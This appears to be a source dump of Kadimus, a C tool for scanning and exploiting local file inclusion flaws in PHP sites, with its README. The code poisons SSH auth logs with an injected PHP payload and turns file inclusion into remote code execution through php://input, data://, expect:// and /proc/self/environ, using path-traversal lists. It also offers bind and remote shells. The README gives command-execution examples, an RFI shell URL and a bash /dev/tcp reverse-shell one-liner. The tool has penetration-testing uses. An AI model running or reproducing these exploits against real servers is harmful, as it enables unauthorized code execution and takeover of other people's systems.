ssh_session ssh; 18 | int res = 1; 19 | 20 | ssh = ssh_new(); 21 | if (ssh == NULL) 22 | return res; 23 | 24 | ssh_options_set(ssh, SSH_OPTIONS_HOST, target); 25 | 26 | if (port) { 27 | ssh_options_set(ssh, SSH_OPTIONS_PORT, &port); 28 | } 29 | 30 | if (ssh_connect(ssh) != SSH_OK) { 31 | printf("[-] failed to connect: %s\n", ssh_get_error(ssh)); 32 | } else { 33 | if (ssh_userauth_password(ssh, 34 | "\".base64_decode($_REQUEST['kadimus'])); exit(0); ?>", 35 | "hereismypassword") == SSH_AUTH_ERROR) { 36 | printf("[-] failed to send exploit\n"); 37 | } else { 38 | res = 0; 39 | } 40 | 41 | ssh_disconnect(ssh); 42 | } 43 | 44 | ssh_free(ssh); 45 | return res; 46 | } 47 | 48 | char *auth_log_rce(const char *target, const char *code) 49 | { 50 | char mark[8], regex[7 * 2 + 5], *res = NULL, *inject, **matches, buf[20], *mapfile; 51 | int fd, size, len = 0; 52 | 53 | request_t req; 54 | FILE *fh; 55 | 56 | randomstr(mark, sizeof(mark)); 57 | concatlb(regex, mark, "(.*)", mark, NULL); 58 | char *phpcode = concatl(mark, code, mark, NULL); 59 | char *b64 = b64encode(phpcode, strlen(phpcode)); 60 | char *escape = urlencode(b64); 61 | 62 | inject = concatl("kadimus=", escape, NULL); 63 | free(escape); 64 | free(phpcode); 65 | free(b64); 66 | 67 | request_init_fh(&req); 68 | 69 | if ((fh = randomfile(buf, 10)) == NULL) 70 | die("error while generating tmp file\n"); 71 | 72 | curl_easy_setopt(req.ch, CURLOPT_URL, target); 73 | curl_easy_setopt(req.ch, CURLOPT_POSTFIELDS, inject); 74 | curl_easy_setopt(req.ch, CURLOPT_POSTFIELDSIZE, strlen(inject)); 75 | curl_easy_setopt(req.ch, CURLOPT_WRITEDATA, fh); 76 | 77 | if (request_exec(&req)) { 78 | free(inject); 79 | goto end; 80 | } 81 | 82 | free(inject); 83 | 84 | fclose(fh); 85 | fd = openro(buf); 86 | size = getfdsize(fd); 87 | 88 | if (size) { 89 | mapfile = (char *) mmap(0, size, PROT_READ, MAP_PRIVATE, fd, 0); 90 | if (mapfile != MAP_FAILED) { 91 | matches = regex_extract(&len, regex, mapfile, size, PCRE_DOTALL); 92 | if (len > 0) { 93 | res = xstrdup(matches[0]); 94 | regex_free(matches, len); 95 | } 96 | 97 | munmap(mapfile, size); 98 | } 99 | } 100 | 101 | close(fd); 102 | unlink(buf); 103 | 104 | end: 105 | request_free(&req); 106 | return res; 107 | } 108 | 109 | char *auth_log(url_t *url, const char *auth_file, const char *code, int pos) 110 | { 111 | char *target = buildurl(url, string_replace, auth_file, pos); 112 | char *res = auth_log_rce(target, code); 113 | 114 | free(target); 115 | return res; 116 | } 117 | 118 | int check_auth_poison(const char *target) 119 | { 120 | int status; 121 | 122 | char *rce = auth_log_rce(target, ""); 123 | if (rce && !strcmp(rce, "vulnerable...")) { 124 | status = 1; 125 | free(rce); 126 | } else { 127 | status = 0; 128 | } 129 | 130 | return status; 131 | } 132 | 133 | void prepare_auth_log_rce(const char *url, const char *ssh_target, int ssh_port) 134 | { 135 | info("checking /var/log/auth.log poison...\n"); 136 | if (check_auth_poison(url)) { 137 | good("ok\n"); 138 | return; 139 | } 140 | 141 | info("error, trying inject code in log file...\n"); 142 | if (auth_log_poison(ssh_target, ssh_port)) { 143 | info("log injection done, checking file...\n"); 144 | if (check_auth_poison(url)) { 145 | good("injection sucessfull\n"); 146 | } else { 147 | error("error\n"); 148 | exit(1); 149 | } 150 | } else { 151 | error("error\n"); 152 | exit(1); 153 | } 154 | } 155 | -------------------------------------------------------------------------------- /src/scan/rce-scan.c: -------------------------------------------------------------------------------- 1 | #include "scan/rce-scan.h" 2 | #include "techniques/rce.h" 3 | #include "request/request.h" 4 | #include "regex/pcre.h" 5 | #include "io/utils.h" 6 | #include "output.h" 7 | 8 | #include 9 | #include 10 | 11 | void php_input_scan(url_t *url, int pos) 12 | { 13 | char *rce, *target; 14 | 15 | xinfo("testing php://input...\n"); 16 | target = buildurl(url, string_replace, "php://input", pos); 17 | 18 | xinfo("requesting: %s\n", target); 19 | 20 | rce = php_input_rce(target, ""); 21 | if (rce && !strcmp(rce, "vulnerable")) { 22 | xgood("target vulnerable: %s\n", target); 23 | goto end; 24 | } 25 | 26 | free(target); 27 | free(rce); 28 | 29 | xinfo("testing php://input with null-byte poison...\n"); 30 | target = buildurl(url, string_replace, "php://input%00", pos); 31 | 32 | xinfo("requesting: %s\n", target); 33 | 34 | rce = php_input_rce(target, ""); 35 | if (rce && !strcmp(rce, "vulnerable")) { 36 | xgood("target vulnerable: %s\n", target); 37 | goto end; 38 | } 39 | 40 | xwarn("probably not vulnerable\n"); 41 | 42 | end: 43 | free(target); 44 | free(rce); 45 | 46 | xinfo("php://input test finish\n"); 47 | } 48 | 49 | void data_wrap_scan(url_t *url, int pos) 50 | { 51 | xinfo("testing data wrap...\n"); 52 | 53 | char *rce = datawrap_rce(url, "", pos); 54 | if (rce && !strcmp(rce, "vulnerable")) { 55 | xgood("target vulnerable to data://text/plain;base64,RCE\n"); 56 | xgood("parameter: %s\n", url->parameters[pos].key); 57 | } else { 58 | xwarn("probably not vulnerable\n"); 59 | } 60 | 61 | free(rce); 62 | xinfo("data wrap test finish\n"); 63 | } 64 | 65 | void auth_log_scan(url_t *url, int pos) 66 | { 67 | static const char *auth[] = { 68 | "/var/log/auth.log", 69 | "../../../../../../../../../../../var/log/auth.log", 70 | "/var/log/auth.log%00", 71 | "../../../../../../../../../../../var/log/auth.log%00", 72 | NULL 73 | }; 74 | 75 | char filename[20]; 76 | int skip = 0; 77 | FILE *fh; 78 | 79 | for (int i = 0; !skip && auth[i]; i++) { 80 | request_t req; 81 | 82 | if ((fh = randomfile(filename, 10)) == NULL) { 83 | die("error while generating tmp file\n"); 84 | } 85 | 86 | char *target = buildurl(url, string_replace, auth[i], pos); 87 | request_init_fh(&req); 88 | 89 | curl_easy_setopt(req.ch, CURLOPT_URL, target); 90 | curl_easy_setopt(req.ch, CURLOPT_WRITEDATA, fh); 91 | 92 | xinfo("requesting: %s\n", target); 93 | 94 | if (request_exec(&req)) { 95 | xerror("request error\n"); 96 | } 97 | 98 | fclose(fh); 99 | int fd = openro(filename); 100 | int size = getfdsize(fd); 101 | 102 | if (size) { 103 | char *map = mmap(0, size, PROT_READ, MAP_PRIVATE, fd, 0); 104 | 105 | if (regex_match("\\d+:\\d+:\\d+.*sshd\\[\\d+\\]:.+$", map, size, PCRE_MULTILINE)) { 106 | xgood("auth_log file found at: %s\n", target); 107 | skip = 1; 108 | //xgood("you can try check for RCE"); 109 | } 110 | 111 | munmap(map, size); 112 | } 113 | 114 | close(fd); 115 | free(target); 116 | unlink(filename); 117 | request_free(&req); 118 | } 119 | 120 | if (!skip) xwarn("probably not vulnerable\n"); 121 | xinfo("/var/log/auth.log test finished\n"); 122 | } 123 | 124 | void expect_scan(url_t *url, int pos) 125 | { 126 | xinfo("testing expect://cmd rce...\n"); 127 | 128 | char *rce = expect_url(url, "echo -n vuln", pos); 129 | if (rce && !strcmp(rce, "vuln")) { 130 | xgood("target vulnerable to expect://cmd\n"); 131 | xgood("parameter: %s\n", url->parameters[pos].key); 132 | } 133 | 134 | free(rce); 135 | xinfo("expect://cmd test finish\n"); 136 | } 137 | 138 | void proc_env_scan(url_t *url, int pos) 139 | { 140 | static const char *environ[] = { 141 | "/proc/self/environ", 142 | "../../../../../../../../../../../proc/self/environ", 143 | "/proc/self/environ%00", 144 | "../../../../../../../../../../../proc/self/environ%00", 145 | NULL 146 | }; 147 | 148 | int skip = 0; 149 | 150 | xinfo("testing /proc/self/environ rce...\n"); 151 | 152 | for (int i = 0; !skip && environ[i]; i++) { 153 | char *target = buildurl(url, string_replace, environ[i], pos); 154 | xinfo("requesting: %s\n", target); 155 | 156 | char *rce = proc_env_rce(target, ""); 157 | if (rce && !strcmp(rce, "vulnerable")) { 158 | xgood("target vulnerable: %s\n", target); 159 | skip = 1; 160 | 161 | } 162 | 163 | free(rce); 164 | free(target); 165 | } 166 | 167 | if (!skip) xwarn("probably not vulnerable\n"); 168 | xinfo("/proc/self/environ test finish\n"); 169 | } 170 | 171 | void kadimus_rce_scan(url_t *url, int pos) 172 | { 173 | php_input_scan(url, pos); 174 | data_wrap_scan(url, pos); 175 | auth_log_scan(url, pos); 176 | expect_scan(url, pos); 177 | proc_env_scan(url, pos); 178 | } 179 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | [![Rawsec's CyberSecurity Inventory](https://inventory.rawsec.ml/img/badges/Rawsec-inventoried-FF5050_flat.svg)](https://inventory.rawsec.ml/tools.html#Kadimus) 2 | [![GitHub stars](https://img.shields.io/github/stars/P0cL4bs/Kadimus.svg)](https://github.com/P0cL4bs/Kadimus/stargazers) 3 | [![GitHub license](https://img.shields.io/github/license/P0cL4bs/Kadimus.svg)](https://github.com/P0cL4bs/Kadimus/blob/master/license.txt) 4 | 5 | # kadimus 6 | LFI Scan & Exploit Tool 7 | -- 8 | kadimus is a tool to check for and exploit LFI vulnerabilities, with a focus on PHP systems. 9 | 10 | Features: 11 | 12 | - [x] Check all url parameters 13 | - [x] /var/log/auth.log RCE 14 | - [x] /proc/self/environ RCE 15 | - [x] php://input RCE 16 | - [x] data://text RCE 17 | - [x] expect://cmd RCE 18 | - [x] Source code disclosure 19 | - [x] Command shell interface through HTTP request 20 | - [x] Proxy support (socks4://, socks4a://, socks5:// ,socks5h:// and http://) 21 | - [x] Proxy socks5 support for remote connections 22 | 23 | ## Compile: 24 | 25 | First, make sure you have all dependencies installed in your system: `libcurl`, `libopenssl`, `libpcre` and `libssh`. 26 | 27 | Then you can clone the repository, to get the source code: 28 | ```sh 29 | $ git clone https://github.com/P0cL4bs/kadimus.git 30 | $ cd kadimus 31 | ``` 32 | 33 | ### And finally: 34 | 35 | ```sh 36 | $ make 37 | ``` 38 | 39 | ## Options: 40 | 41 | ``` 42 | Options: 43 | -h, --help Display this help menu 44 | 45 | Request: 46 | -B, --cookie STRING Set custom HTTP cookie header 47 | -A, --user-agent STRING User-Agent to send to server 48 | --connect-timeout SECONDS Maximum time allowed for connection 49 | --retry NUMBER Number of times to retry if connection fails 50 | --proxy STRING Proxy to connect (syntax: protocol://hostname:port) 51 | 52 | Scanner: 53 | -u, --url STRING URL to scan/exploit 54 | -o, --output FILE File to save output results 55 | 56 | Explotation: 57 | --parameter STRING Parameter name to inject exploit 58 | (only needed by RCE data and source disclosure) 59 | 60 | RCE: 61 | -T, --technique=TECH LFI to RCE technique to use 62 | -C, --code STRING Custom PHP code to execute, with php brackets 63 | -c, --cmd STRING Execute system command on vulnerable target system 64 | -s, --shell Simple command shell interface through HTTP request 65 | 66 | --connect STRING IP/hostname to connect to 67 | -p, --port NUMBER Port number to connect to or listen on 68 | -l, --listen Bind and listen for incoming connections 69 | 70 | --ssh-port NUMBER Set the SSH port to try command injection (default: 22) 71 | --ssh-target STRING Set the SSH host 72 | 73 | RCE Available techniques 74 | 75 | environ Try to run PHP code using /proc/self/environ 76 | input Try to run PHP code using php://input 77 | auth Try to run PHP code using /var/log/auth.log 78 | data Try to run PHP code using data://text 79 | expect Try to run a command using expect://cmd 80 | 81 | Source Disclosure: 82 | -S, --source Try to get the source file using filter:// 83 | -f, --filename STRING Set filename to grab source [REQUIRED] 84 | -O FILE Set output file (default: stdout) 85 | 86 | ``` 87 | 88 | ## Examples: 89 | 90 | ### Scanning: 91 | ``` 92 | ./kadimus -u localhost/?pg=contact -A my_user_agent 93 | ``` 94 | 95 | ### Get source code of file: 96 | ``` 97 | ./kadimus -u localhost/?pg=contact -S -f "index.php%00" -O local_output.php --parameter pg 98 | ``` 99 | 100 | ### Execute php code: 101 | ``` 102 | ./kadimus -u localhost/?pg=php://input%00 -C '' -T input 103 | ``` 104 | 105 | ### Execute command: 106 | ``` 107 | ./kadimus -t localhost/?pg=/var/log/auth.log -T auth -c 'ls -lah' --ssh-target localhost 108 | ``` 109 | 110 | ### Checking for RFI: 111 | 112 | You can also check for RFI errors -- just put the remote URL in resource/common_files.txt 113 | and the regex to identify them, example: 114 | 115 | ```php 116 | /* http://bad-url.com/shell.txt */ 117 | 118 | ``` 119 | 120 | in file: 121 | ``` 122 | http://bad-url.com/shell.txt?:scorpion say get over here 123 | ``` 124 | 125 | ### Reverse shell: 126 | ``` 127 | ./kadimus -u localhost/?pg=contact.php -T data --parameter pg -lp 12345 -c '/bin/bash -c "bash -i >& /dev/tcp/172.17.0.1/1234 0>&1"' --retry-times 0 128 | ``` 129 | 130 | Contributing 131 | ------------ 132 | You can help with code, or by donating. 133 | If you want to help with code, use the kernel code style as a reference. 134 | 135 | Paypal: [![](https://www.paypalobjects.com/en_US/i/btn/btn_donate_SM.gif)](https://www.paypal.com/cgi-bin/webscr?cmd=_donations&business=RAG26EKAYHQSY¤cy_code=BRL&source=url) 136 | 137 | BTC: 1PpbrY6j1HNPF7fS2LhG9SF2wtyK98GSwq 138 | -------------------------------------------------------------------------------- /src/scan/scan.c: -------------------------------------------------------------------------------- 1 | #include "scan/scan.h" 2 | #include "scan/rce-scan.h" 3 | #include "request/request.h" 4 | #include "string/utils.h" 5 | #include "regex/pcre.h" 6 | #include "io/utils.h" 7 | #include "output.h" 8 | #include "string/hexdump.h" 9 | #include "string/base64.h" 10 | #include "techniques/php-filter.h" 11 | #include "memory/alloc.h" 12 | 13 | #include 14 | 15 | int phpfilter_scan(scan_t *info, url_t *url, int pos) 16 | { 17 | char *b64, *decoded; 18 | 19 | int success = 0; 20 | size_t len; 21 | 22 | b64 = phpfilter(url, info->origurl, url->parameters[pos].value, pos); 23 | 24 | if (!b64) { 25 | return 0; 26 | } 27 | 28 | if (thread_enable) { 29 | success = isb64valid(b64, strlen(b64)); 30 | goto end; 31 | } 32 | 33 | if ((decoded = b64decode(b64, &len))) { 34 | success = 1; 35 | 36 | good("target probably vulnerable, hexdump: \n\n"); 37 | hexdump(decoded, len, 0); 38 | print_all("\n"); 39 | 40 | free(decoded); 41 | } 42 | 43 | end: 44 | free(b64); 45 | return success; 46 | } 47 | 48 | void check_file_list(scan_t *info, url_t *url, int pos) 49 | { 50 | FILE *fh; 51 | line_t line; 52 | request_t req; 53 | 54 | // suppress compile warning 55 | (void) info; 56 | 57 | char *filename, *regex, *target; 58 | 59 | memset(&line, 0x0, sizeof(line_t)); 60 | fh = xfopen("./resource/common_files.txt", "r"); 61 | 62 | request_init(&req); 63 | 64 | foreach (line, fh) { 65 | if (line.nread < 3 || line.buf[0] == '#' || line.buf[0] == ':') { 66 | continue; 67 | } 68 | 69 | if (line.buf[line.nread - 1] == '\n') { 70 | line.buf[line.nread - 1] = 0x0; 71 | } 72 | 73 | filename = line.buf; 74 | regex = strchr(line.buf, ':'); 75 | 76 | if (regex == NULL) { 77 | continue; 78 | } 79 | 80 | regex[0] = 0x0; 81 | regex++; 82 | 83 | if (regex[0] == 0x0) { 84 | continue; 85 | } 86 | 87 | target = buildurl(url, string_replace, filename, pos); 88 | xinfo("requesting: %s\n", target); 89 | 90 | curl_easy_setopt(req.ch, CURLOPT_URL, target); 91 | if (request_exec(&req)) { 92 | xerror("no connection with the target URL, exiting...\n"); 93 | } 94 | 95 | else { 96 | if (regex_match(regex, req.body.ptr, req.body.len, 0)) { 97 | xgood("regex match: %s\n", regex); 98 | xgood("check the URL: %s\n", target); 99 | } 100 | } 101 | 102 | free(target); 103 | 104 | xrealloc(req.body.ptr, req.body.ptr, 1); 105 | req.body.len = 0; 106 | } 107 | 108 | request_free(&req); 109 | fclose(fh); 110 | } 111 | 112 | int lfi_error_check(scan_t *scan, const char *target) 113 | { 114 | request_t req; 115 | line_t line; 116 | int res; 117 | 118 | (void)scan; 119 | 120 | memset(&line, 0x0, sizeof(line_t)); 121 | 122 | request_init(&req); 123 | curl_easy_setopt(req.ch, CURLOPT_URL, target); 124 | 125 | if (request_exec(&req)) { 126 | res = -1; 127 | goto end; 128 | } 129 | 130 | FILE *fh = xfopen("./resource/errors.txt", "r"); 131 | res = 0; 132 | 133 | foreach (line, fh) { 134 | if (line.nread <= 1) 135 | continue; 136 | 137 | if (line.buf[line.nread - 1] == '\n') { 138 | line.buf[line.nread - 1] = 0x0; 139 | } 140 | 141 | if (regex_match(line.buf, req.body.ptr, req.body.len, 0)) { 142 | xgood("regex match: ( %s )\n", line.buf); 143 | res = 1; 144 | break; 145 | } 146 | } 147 | 148 | fclose(fh); 149 | 150 | end: 151 | request_free(&req); 152 | free(line.buf); 153 | 154 | return res; 155 | } 156 | 157 | int isdynamic(scan_t *scan, const char *target) 158 | { 159 | request_t req1, req2; 160 | int result; 161 | 162 | request_init(&req1); 163 | request_init(&req2); 164 | 165 | curl_easy_setopt(req1.ch, CURLOPT_URL, target); 166 | curl_easy_setopt(req2.ch, CURLOPT_URL, target); 167 | 168 | if (request_exec(&req1) || request_exec(&req2)) { 169 | result = -1; 170 | goto end; 171 | } 172 | 173 | if (req1.body.len == req2.body.len) { 174 | result = (memcmp(req1.body.ptr, req2.body.ptr, req1.body.len) != 0); 175 | } else { 176 | scan->dynamic = 1; 177 | result = 1; 178 | } 179 | 180 | end: 181 | request_free(&req1); 182 | request_free(&req2); 183 | 184 | return result; 185 | } 186 | 187 | void kadimus_scan(const char *target) 188 | { 189 | scan_t scan; 190 | 191 | parameter_t *parameter; 192 | url_t url; 193 | 194 | char *targeturl, rbuf[8]; 195 | 196 | scan.origurl = (char *)target; 197 | scan.skip_nullbyte = 0; 198 | scan.skip_error_check = 0; 199 | scan.dynamic = 0; 200 | scan.dirback = -1; 201 | scan.skip_file_scan = 0; 202 | scan.skip_rce_scan = 0; 203 | 204 | urlparser(&url, target); 205 | 206 | info("scanning URL: %s\n", target); 207 | info("testing if URL has dynamic content...\n"); 208 | 209 | switch (isdynamic(&scan, target)) { 210 | case 1: 211 | warn("URL has dynamic content\n"); 212 | warn("skipping source disclosure test\n"); 213 | break; 214 | case 0: 215 | info("URL doesn't have dynamic content\n"); 216 | break; 217 | case -1: 218 | error("no connection with the target URL, exiting...\n"); 219 | exit(1); 220 | } 221 | 222 | for (int i = 0; i < url.plen; i++) { 223 | parameter = url.parameters + i; 224 | if (!parameter->key[0]) { 225 | continue; 226 | } 227 | 228 | info("analyzing '%s' parameter...\n", parameter->key); 229 | if (!scan.skip_error_check) { 230 | info("checking for LFI error messages\n"); 231 | 232 | targeturl = buildurl(&url, string_replace, randomstr(rbuf, sizeof(rbuf)) ,i); 233 | info("using random URL: %s\n", targeturl); 234 | 235 | switch (lfi_error_check(&scan, targeturl)) { 236 | case 1: 237 | info("LFI error found!\n"); 238 | break; 239 | case 0: 240 | warn("LFI error not found\n"); 241 | break; 242 | case -1: 243 | error("no connection with the target URL, exiting...\n"); 244 | exit(1); 245 | } 246 | 247 | free(targeturl); 248 | } 249 | 250 | if (!scan.dynamic) { 251 | info("starting source disclosure test...\n"); 252 | 253 | switch (phpfilter_scan(&scan, &url, i)) { 254 | case 0: 255 | warn("parameter doesn't seem to be vulnerable to source disclosure\n"); 256 | break; 257 | 258 | case -1: 259 | error("no connection with the target URL, exiting...\n"); 260 | exit(1); 261 | break; 262 | } 263 | } 264 | 265 | if (!scan.skip_file_scan) { 266 | info("checking common files...\n"); 267 | check_file_list(&scan, &url, i); 268 | info("common files scan finished\n"); 269 | } 270 | 271 | if (!scan.skip_rce_scan) { 272 | info("checking RCE...\n"); 273 | kadimus_rce_scan(&url, i); 274 | info("RCE scan finished\n"); 275 | } 276 | } 277 | 278 | urlfree(&url); 279 | } 280 | -------------------------------------------------------------------------------- /src/kadimus.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #include "kadimus.h" 11 | 12 | #include "memory/alloc.h" 13 | #include "regex/pcre.h" 14 | #include "net/utils.h" 15 | #include "io/utils.h" 16 | #include "globals.h" 17 | #include "output.h" 18 | 19 | #include "scan/scan.h" 20 | #include "techniques/rce.h" 21 | #include "techniques/php-filter.h" 22 | #include "fun/exec-php-code.h" 23 | #include "fun/http-shell.h" 24 | #include "fun/exec-cmd.h" 25 | #include "string/optparser.h" 26 | 27 | static void check_opts(struct kadimus_opts *opts) 28 | { 29 | if (!opts->url) 30 | die("kadimus: try 'kadimus -h' or 'kadimus --help' to display help\n"); 31 | 32 | if (opts->get_source) { 33 | if (!opts->url) 34 | die("error: -S, --source requires -u\n"); 35 | 36 | if (!opts->remote_filename) 37 | die("error: -S, --source requires -f\n"); 38 | 39 | if (!opts->parameter) 40 | die("error: -S, --source requires --parameter\n"); 41 | } 42 | 43 | if (opts->shell) { 44 | if (!opts->url) 45 | die("error: -s, --shell requires -u\n"); 46 | 47 | if (!opts->technique) 48 | die("error: -s, --shell requires -T\n"); 49 | } 50 | 51 | if (opts->listen && !opts->port) { 52 | die("error: -l, --listen requires -p\n"); 53 | } 54 | 55 | if (opts->connect && !opts->port) { 56 | die("error: --connect requires -p\n"); 57 | } 58 | 59 | if (opts->phpcode) { 60 | if (!opts->url) 61 | die("error: -C, --code requires -u\n"); 62 | 63 | if (!opts->technique) 64 | die("error: -C, --code requires -T\n"); 65 | } 66 | 67 | if (opts->cmd) { 68 | if (!opts->url) 69 | die("error: -c, --cmd requires -u\n"); 70 | 71 | if (!opts->technique) 72 | die("error: -c, --cmd requires -T\n"); 73 | } 74 | 75 | if (opts->technique == datawrap_tech && !opts->parameter) { 76 | die("error: -T data requires --parameter\n"); 77 | } 78 | 79 | if (opts->technique == auth_log_tech && !opts->ssh_target) { 80 | die("error: -T auth requires --ssh-target\n"); 81 | } 82 | 83 | if (!opts->get_source && !opts->shell && !opts->cmd && !opts->phpcode) { 84 | opts->scan = 1; 85 | opts->technique = 0; 86 | } 87 | 88 | if (opts->proxy && regex_match("^.+:\\/\\/.+\\:(\\d+)$", opts->proxy, 0, 0)) 89 | die("--proxy error: invalid syntax\n"); 90 | 91 | if (opts->connect && checkhostname(opts->connect)) 92 | die("--connect error: invalid IP/hostname\n"); 93 | 94 | if (opts->ssh_target && checkhostname(opts->ssh_target)) { 95 | die("--ssh-target error: invalid IP/hostname\n"); 96 | } 97 | 98 | // check url 99 | if (!regex_match("^(https?://)?.+/.*\\?.+$", opts->url, 0, 0)) { 100 | die("-u, --url error: invalid syntax\n"); 101 | } 102 | 103 | if (opts->phpcode && !regex_match("^\\s*?\\<\\?.+\\?\\>\\s*?$", opts->phpcode, 0, PCRE_DOTALL)) { 104 | die("error: -C, --code parameter must contain php brackets\n"); 105 | } 106 | } 107 | 108 | static void setoutput(void *out, const char *filename) 109 | { 110 | FILE **fh = (FILE **) out; 111 | *fh = xfopen(filename, "a"); 112 | setlinebuf(*fh); 113 | } 114 | 115 | static void check_technique(void *out, const char *tech) 116 | { 117 | struct { 118 | char *name; 119 | int value; 120 | } sp[] = { 121 | {"environ", proc_environ_tech}, 122 | {"auth", auth_log_tech}, 123 | {"input", php_input_tech}, 124 | {"data", datawrap_tech}, 125 | {"expect", expect_tech}, 126 | {NULL, 0} 127 | }; 128 | 129 | for (int i = 0; sp[i].name; i++) { 130 | if (!strcmp(tech, sp[i].name)) { 131 | *(int *) out = sp[i].value; 132 | return; 133 | } 134 | } 135 | 136 | die("-T, --technique: invalid format\n"); 137 | } 138 | 139 | void parser_opts(int argc, char **argv, struct kadimus_opts *opts) 140 | { 141 | memset(opts, 0x0, sizeof(struct kadimus_opts)); 142 | global.timeout = 10; 143 | global.retry = 5; 144 | 145 | optparser_t options[] = { 146 | {"help", NULL, help, optnoarg, 'h'}, 147 | {"cookie", &(global.cookies), NULL, optstring, 'B'}, 148 | {"user-agent", &(global.useragent), NULL, optstring, 'A'}, 149 | {"connect-timeout", &(global.timeout), NULL, optlong, 0}, 150 | {"retry", &(global.retry), NULL, optint, 0}, 151 | {"proxy", &(global.proxy), NULL, optstring, 0}, 152 | 153 | {"url", &(opts->url), NULL, optstring, 'u'}, 154 | {"output", &(output), setoutput, optcustom, 'o'}, 155 | 156 | {"parameter", &(opts->parameter), NULL, optstring, 0}, 157 | 158 | {"technique", &(opts->technique), check_technique, optcustom, 'T'}, 159 | {"code", &(opts->phpcode), NULL, optstring, 'C'}, 160 | {"cmd", &(opts->cmd), NULL, optstring, 'c'}, 161 | {"shell", &(opts->shell), NULL, optbool, 's'}, 162 | 163 | {"connect", &(opts->connect), NULL, optstring, 0}, 164 | {"port", &(opts->port), NULL, optint, 'p'}, 165 | {"listen", &(opts->listen), NULL, optbool, 'l'}, 166 | 167 | {"ssh-port", &(opts->ssh_port), NULL, optint, 0}, 168 | {"ssh-target", &(opts->ssh_target), NULL, optstring, 0}, 169 | 170 | {"source", &(opts->get_source), NULL, optbool, 'S'}, 171 | {"filename", &(opts->remote_filename), NULL, optstring, 'f'}, 172 | {NULL, &(opts->source_output), setoutput, optcustom, 'O'} 173 | }; 174 | 175 | optparser(argc, argv, options, sizeof(options) / sizeof(optparser_t)); 176 | check_opts(opts); 177 | } 178 | 179 | void banner(void) 180 | { 181 | static const char banner_msg[]= 182 | " _ __ _ _ \n" 183 | "| |/ /__ _ __| (_)_ __ ___ _ _ ___ \n" 184 | "| ' // _` |/ _` | | '_ ` _ \\| | | / __|\n" 185 | "| . \\ (_| | (_| | | | | | | | |_| \\__ \\\n" 186 | "|_|\\_\\__,_|\\__,_|_|_| |_| |_|\\__,_|___/\n" 187 | "\n" 188 | " v" VERSION " - LFI Scan & Exploit Tool (@hc0d3r - P0cL4bs Team)\n"; 189 | 190 | puts(banner_msg); 191 | } 192 | 193 | void help(void *no, const char *thing) 194 | { 195 | (void) no; 196 | (void) thing; 197 | 198 | static const char help_msg[]= 199 | "Options:\n" 200 | " -h, --help Display this help menu\n\n" 201 | 202 | " Request:\n" 203 | " -B, --cookie STRING Set custom HTTP cookie header\n" 204 | " -A, --user-agent STRING User-Agent to send to server\n" 205 | " --connect-timeout SECONDS Maximum time allowed for connection\n" 206 | " --retry NUMBER Number of times to retry if connection fails\n" 207 | " --proxy STRING Proxy to connect (syntax: protocol://hostname:port)\n\n" 208 | 209 | " Scanner:\n" 210 | " -u, --url STRING URL to scan/exploit\n" 211 | " -o, --output FILE File to save output results\n" 212 | "\n" 213 | " Explotation:\n" 214 | " --parameter STRING Parameter name to inject exploit\n" 215 | " (only needed by RCE data and source disclosure)\n\n" 216 | 217 | " RCE:\n" 218 | " -T, --technique=TECH LFI to RCE technique to use\n" 219 | " -C, --code STRING Custom PHP code to execute, with php brackets\n" 220 | " -c, --cmd STRING Execute system command on vulnerable target system\n" 221 | " -s, --shell Simple command shell interface through HTTP Request\n\n" 222 | 223 | " --connect STRING IP/hostname to connect to\n" 224 | " -p, --port NUMBER Port number to connect to or listen on\n" 225 | " -l, --listen Bind and listen for incoming connections\n\n" 226 | 227 | " --ssh-port NUMBER Set the SSH port to try command injection (default: 22)\n" 228 | " --ssh-target STRING Set the SSH host\n\n" 229 | 230 | " RCE Available techniques\n\n" 231 | 232 | " environ Try to run PHP code using /proc/self/environ\n" 233 | " input Try to run PHP code using php://input\n" 234 | " auth Try to run PHP code using /var/log/auth.log\n" 235 | " data Try to run PHP code using data://text\n" 236 | " expect Try to run a command using expect://cmd\n" 237 | "\n" 238 | " Source Disclosure:\n" 239 | " -S, --source Try to get the source file using filter://\n" 240 | " -f, --filename STRING Set filename to grab source [REQUIRED]\n" 241 | " -O FILE Set output file (default: stdout)\n"; 242 | 243 | puts(help_msg); 244 | exit(EXIT_SUCCESS); 245 | } 246 | 247 | void init_global_structs(void) 248 | { 249 | curl_global_init(CURL_GLOBAL_ALL); 250 | srand(time(NULL)); 251 | } 252 | 253 | int kadimus(struct kadimus_opts *opts) 254 | { 255 | pid_t pid; 256 | 257 | if (opts->scan && opts->url) 258 | kadimus_scan(opts->url); 259 | 260 | if (opts->get_source) 261 | phpfilter_dumpfile(opts->source_output, opts->url, 262 | opts->remote_filename, opts->parameter); 263 | 264 | if (opts->technique == auth_log_tech) 265 | prepare_auth_log_rce(opts->url, opts->ssh_target, opts->ssh_port); 266 | 267 | if (opts->shell) 268 | rce_http_shell(opts->url, opts->parameter, opts->technique); 269 | 270 | if (opts->listen) { 271 | pid = fork(); 272 | if (pid == 0) { 273 | bindshell(opts->port); 274 | exit(0); 275 | } else if (pid == -1) { 276 | xdie("fork() failed\n"); 277 | } 278 | } 279 | 280 | if (opts->phpcode) 281 | exec_code(opts->url, opts->parameter, opts->phpcode, opts->technique); 282 | 283 | if (opts->cmd) { 284 | xinfo("trying exec code...\n"); 285 | char *rce = exec_cmd(opts->url, opts->parameter, opts->cmd, opts->technique); 286 | 287 | xinfo("result:\n"); 288 | if (rce) { 289 | printf("%s\n", rce); 290 | free(rce); 291 | } else { 292 | xerror("nothing to show!\n"); 293 | } 294 | } 295 | 296 | if (opts->connect) 297 | remote_connect(opts->proxy, opts->connect, opts->port); 298 | 299 | if (opts->listen) 300 | wait(NULL); 301 | 302 | if (opts->output) 303 | fclose(opts->output); 304 | 305 | return 0; 306 | } 307 | 308 | int main(int argc, char **argv) 309 | { 310 | setbuf(stdout, NULL); 311 | 312 | banner(); 313 | 314 | struct kadimus_opts options; 315 | parser_opts(argc, argv, &options); 316 | 317 | init_global_structs(); 318 | 319 | /* start */ 320 | return kadimus(&options); 321 | } 322 | --------------------------------------------------------------------------------